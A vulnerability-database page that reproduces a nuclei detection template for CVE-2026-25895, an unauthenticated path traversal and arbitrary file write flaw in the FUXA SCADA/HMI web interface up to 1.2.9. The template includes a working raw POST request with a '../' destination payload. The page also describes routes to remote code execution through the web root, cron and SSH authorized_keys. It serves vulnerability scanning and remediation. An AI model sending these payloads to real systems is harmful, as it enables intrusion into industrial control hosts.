Lucene search
+L

FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write

🗓️ 20 Aug 2026 04:29:23Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 10 Views

FUXA up to 1.2.9 allows unauthenticated arbitrary file write via path traversal in /api/upload, enabling RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Frangoteam Fuxa
24 Apr 202621:26
githubexploit
attackerkb
ATTACKERKB
CVE-2026-25895
9 Feb 202622:29
attackerkb
circl
Circl
CVE-2026-25895
10 Feb 202600:00
circl
cnnvd
CNNVD
FUXA 访问控制错误漏洞
9 Feb 202600:00
cnnvd
cve
CVE
CVE-2026-25895
9 Feb 202622:29
cve
cvelist
Cvelist
CVE-2026-25895 FUXA Unauthenticated Remote Code Execution via Arbitrary File Write in Upload API
9 Feb 202622:29
cvelist
exploitdb
Exploit DB
FUXA 1.2.9 - RCE
21 May 202600:00
exploitdb
euvd
EUVD
EUVD-2026-9941
6 Mar 202600:31
euvd
github
Github Security Blog
FUXA Unauthenticated Remote Code Execution via Arbitrary File Write in Upload API
5 Feb 202600:37
github
nvd
NVD
CVE-2026-25895
9 Feb 202623:16
nvd
Rows per page
id: CVE-2026-25895

info:
  name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write
  author: prithvee07
  severity: critical
  description: |
    FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.
  impact: |
    Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, leading to full remote code execution on the host running FUXA.
  remediation: |
    Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.
  reference:
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c
    - https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96
    - https://github.com/frangoteam/FUXA/releases/tag/v1.2.10
    - https://github.com/Hann1bl3L3ct3r/FUXAPWN
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25895
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-25895
    epss-score: 0.04742
    epss-percentile: 0.91144
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    shodan-query: http.title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2026,fuxa,scada,path-traversal,file-upload,rce,unauth,vkev

variables:
  filename: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}"

http:
  - raw:
      - |
        POST /api/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"resource":{"name":"{{filename}}.txt","fullPath":"{{filename}}.txt","type":"bin","data":"{{base64(filename)}}"},"destination":"a/../../server/main.js"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "ENOTDIR")'
          - 'contains(body, concat("main.js", "/", "{{filename}}.txt"))'
        condition: and

      - type: word
        part: body
        words:
          - "invalid_destination"
        negative: true

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "open '(.*?)'"
# digest: 4a0a004730450221009d29386358bbc1130e4cd5ac684c2e8596d3793ef6790498398b3b41df3934a502200bad9f03fbb5531fbfa84eebb9fc5d48b1ed5bb8b5342e2cd4e67ee0f96a59df:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2026 07:38Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
CVSS 49.5
EPSS0.04742
SSVC
10